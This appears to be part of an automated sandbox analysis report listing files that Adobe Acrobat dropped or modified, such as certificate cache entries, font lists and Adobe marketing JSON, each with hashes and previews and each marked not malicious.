Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklzmSZ5pkltfllXlE/HT8khDbNNX8RolJuRdxLlGB9lQRYwpDdt:kKdq5pseT8oDpNMa8RdWBwRd
MD5:	AC9D02C2D751B55A1D15E6DA1EF617E9
SHA1:	7AF9F09115D01E053998D8F73AEFAD735C7823C4
SHA-256:	482A2EE8734586BDB0000127984574016D01519EAA75CBAE5FFC08960D1D40CF
SHA-512:	F8660B944B20670D14EE73B0AB2B6F1D755A1B97A21243293E2EEF9CD4121BB94A9A260200987339D75549FAB53395D008789981DD9E385DFEE6DC48DD2BE493
Malicious:	false
Preview:	p...... ........@....c..(....................................................... ..........W....D...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.133081597444441
Encrypted:	false
SSDEEP:	6:kKR3KsL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:NKsiDnLNkPlE99SNxAhUe/3
MD5:	6EFEC9D849C1752514A109EE66B20314
SHA1:	62FD641763DFFCD7FB284620D7D15B5F9FC57AE3
SHA-256:	9C604CD8DE0E1A459FFEDC8137D269E0A12798803D0D606BD6BA55807BB49F77
SHA-512:	FDC780A64615DAA85B30E74E63F13E4A91FB087A394D552E09F84AAE642FB30B1806B9320C406DF565D2DBDB5DE91037C3A9FD0BC16E219CC187A5B8EE9FFB8B
Malicious:	false
Preview:	p...... ..........M..c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7236

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7236

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3637554117166815
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkBAAzRMR14mSg1c2LjcWkHvR0Y+DeoAvJM3g98kUwPeUkwRe9:YvXKXFkBAAtMR1rT5LjIPgVGMbLUkee9
MD5:	3656A7716CD50E8D8071FC2D971BD85C
SHA1:	17B54E10859FB81AD70003892BE57AF7522088C1
SHA-256:	950F079692DFE43510E6F2BCB5423AB1500F9996A11FDDCF78538FE37749596C
SHA-512:	F6D4E7A5114B99EAB715DDA42AD4AC1B8CDD1E0366946F5F29AE7EA9D5A29BFB9B95142ACE02E7B9DF9B4A9DFB1450E2F1B9497131948550ECDCCF97AAED7297
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bade259-470e-405e-84ff-9e383c9446df","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715390758,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3130180759534555
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkBAAzRMR14mSg1c2LjcWkHvR0Y+DeoAvJfBoTfXpnrPeUkwRe9:YvXKXFkBAAtMR1rT5LjIPgVGWTfXcUk3
MD5:	BA99A76643BBA111F41F06615DB132E0
SHA1:	6A76AEE9EB1DF04D40375BEE855BB54212A702E0
SHA-256:	AB2CAF4B8E149910584B6A4630CCDFB323CCBE91524F271D9385BC87C41DA916
SHA-512:	5E4F4E9B41C5DDA7CCD09DCBF6FFEBC43E3FD63CCD5AFDBB99A5B0B0EE9B6C854F21F3476DA6DC4FA17EDEC5861DE316C32E0118D870B8040E5791AA92D072AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bade259-470e-405e-84ff-9e383c9446df","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715390758,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292544259027488
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkBAAzRMR14mSg1c2LjcWkHvR0Y+DeoAvJfBD2G6UpnrPeUkwRe9:YvXKXFkBAAtMR1rT5LjIPgVGR22cUke6
MD5:	6EB9F492EEE4225C5AD95C76623125CE
SHA1:	84696DFEEFA9132740CE4CAA97170AFDC53473E2
SHA-256:	D90E75048A58B37DB093A9FE0EC974E9EFB6B5C3345C1DA6C21763B31646A6A7
SHA-512:	E1616A71F03E8A9F8CA684DD95BA125E7A5856441B80C095C839CD49D7C617095CF6E484C3618DED0682D429B60AB75D820FC26071BB75451D9FAF6DD722E108
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bade259-470e-405e-84ff-9e383c9446df","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715390758,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.344771199552597
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkBAAzRMR14mSg1c2LjcWkHvR0Y+DeoAvJfPmwrPeUkwRe9:YvXKXFkBAAtMR1rT5LjIPgVGH56Ukee9
MD5:	E21B9406393852746FDCD37231C7A08D
SHA1:	BE6444B22460FFB7C6A333AAB38E204CF016C9FC
SHA-256:	838178D1CC3D69A335FD8A7203B2B3FC26EE2392EE158755CA34149A6C589C93
SHA-512:	FAC0BEBB8BDD4A72A0C33D5908C2D6ED5DAD0435A2C860A437CE15CE6F9D653981F55622D35E90A6E4A600C24C0D6B90E77DA3D91867FA404490554F321D3138
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bade259-470e-405e-84ff-9e383c9446df","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715390758,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693482696003156
Encrypted:	false
SSDEEP:	24:Yv6XWMPrT5XI1pLgE9cQx8LennAvzBvkn0RCmK8czOCCSVY:YvgpXIhgy6SAFv5Ah8cv/G
MD5:	7638C4FAA8357C510259FA8BEF673196
SHA1:	C7B9BC4F6B0B7FBA03F94B208BE79BA330ADED82
SHA-256:	E761FE6C5E8DFD0E93408E2E8228EAFC69B3E1DE8597F933A79605692668175C
SHA-512:	E0F9FE8D4F43924F9EFE73F7AC5CAF6D62B6D5069CFCAD7945481941A0AFD8B4875343EC5D9A9A7EADBDC98F957D87C43D88D6B024022031DACB23AAB5904E57
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bade259-470e-405e-84ff-9e383c9446df","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715390758,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.314974016335673
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkBAAzRMR14mSg1c2LjcWkHvR0Y+DeoAvJf8dPeUkwRe9:YvXKXFkBAAtMR1rT5LjIPgVGU8Ukee9
MD5:	FBF18D411189659EC2F22384EA7DA36A
SHA1:	77A817FCDE959CC55CD6A770AAEF966749EFF0E3
SHA-256:	88CD43AE92E233E2AE7C43C5DC8CF4EB6F10FEF4B5248C0DE4F132FE86100C58
SHA-512:	702E5D22CD57D56E339382FA8B5FC5F38E653606C11E64B74EC1DCCFA1CDA1A5B898FDE722D42B0D0C69DE99635D696E7E33A388E1F1539752ACDB2D6B90F427
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bade259-470e-405e-84ff-9e383c9446df","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715390758,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.305515243821514
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkBAAzRMR14mSg1c2LjcWkHvR0Y+DeoAvJfQ1rPeUkwRe9:YvXKXFkBAAtMR1rT5LjIPgVGY16Ukee9
MD5:	660D7338978D7D7A2D1061741B2A1E60
SHA1:	B93006C8CD1F7A63408B14870F0C34DE6A1FF8DD
SHA-256:	676D9CB2C08CFE991032006721971931924512289FA7731333DABA3B477D4055
SHA-512:	5E2992963B871E0913A4FEBC48B1716007B149AB27C28ADF25CED6D49700F354EF2796A9CB86755A0111ACAD7835D79638AD088FC13A8DADED357467A55FB64E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bade259-470e-405e-84ff-9e383c9446df","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715390758,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.322706420640375
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkBAAzRMR14mSg1c2LjcWkHvR0Y+DeoAvJfFldPeUkwRe9:YvXKXFkBAAtMR1rT5LjIPgVGz8Ukee9
MD5:	70C45FBFF4F9B837DF406A29B8F5BE5C
SHA1:	CAD122046F27B766C68B7719FD1B6C6108A59116
SHA-256:	81FC75C19294D9B4BD8869CF37743F6F4014AE1DF6F963CA2F332D666E205077
SHA-512:	077C922DACDD677689CB9D32A2E914B524B43898DA236EADEF80F0F7D79F1B52E66B62E45C622075EFAA62CF2B43C39FD3D5C776CC40DB51BB019B100D935969
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bade259-470e-405e-84ff-9e383c9446df","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715390758,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.340070142747289
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkBAAzRMR14mSg1c2LjcWkHvR0Y+DeoAvJfzdPeUkwRe9:YvXKXFkBAAtMR1rT5LjIPgVGb8Ukee9
MD5:	1D75CD1B024D958A60C92B2C9FD59728
SHA1:	5E1911D7DCA95AF039B4C20333970AF3B2546955
SHA-256:	244EA1680D013C92866076ACB95331E1E508656F870579FDE04313F38EE7D0A8
SHA-512:	55031849402BEB3D59A3511218A6BDD26B0946910D579F658F07CDD6FE84360362EA0CA94B7BE0D51875598383C0470C225552D1FE07AFBB4764CA27C8C474B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bade259-470e-405e-84ff-9e383c9446df","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715390758,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.320849960633511
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkBAAzRMR14mSg1c2LjcWkHvR0Y+DeoAvJfYdPeUkwRe9:YvXKXFkBAAtMR1rT5LjIPgVGg8Ukee9
MD5:	3023547972307808F7DE9CB71AB1D990
SHA1:	D31D10E8815803338F5B114F7D2CC6DDABA0DAA6
SHA-256:	210F32A71945463DC35086C806C7FDF0B86EFB35ACDC035B989167536816F266
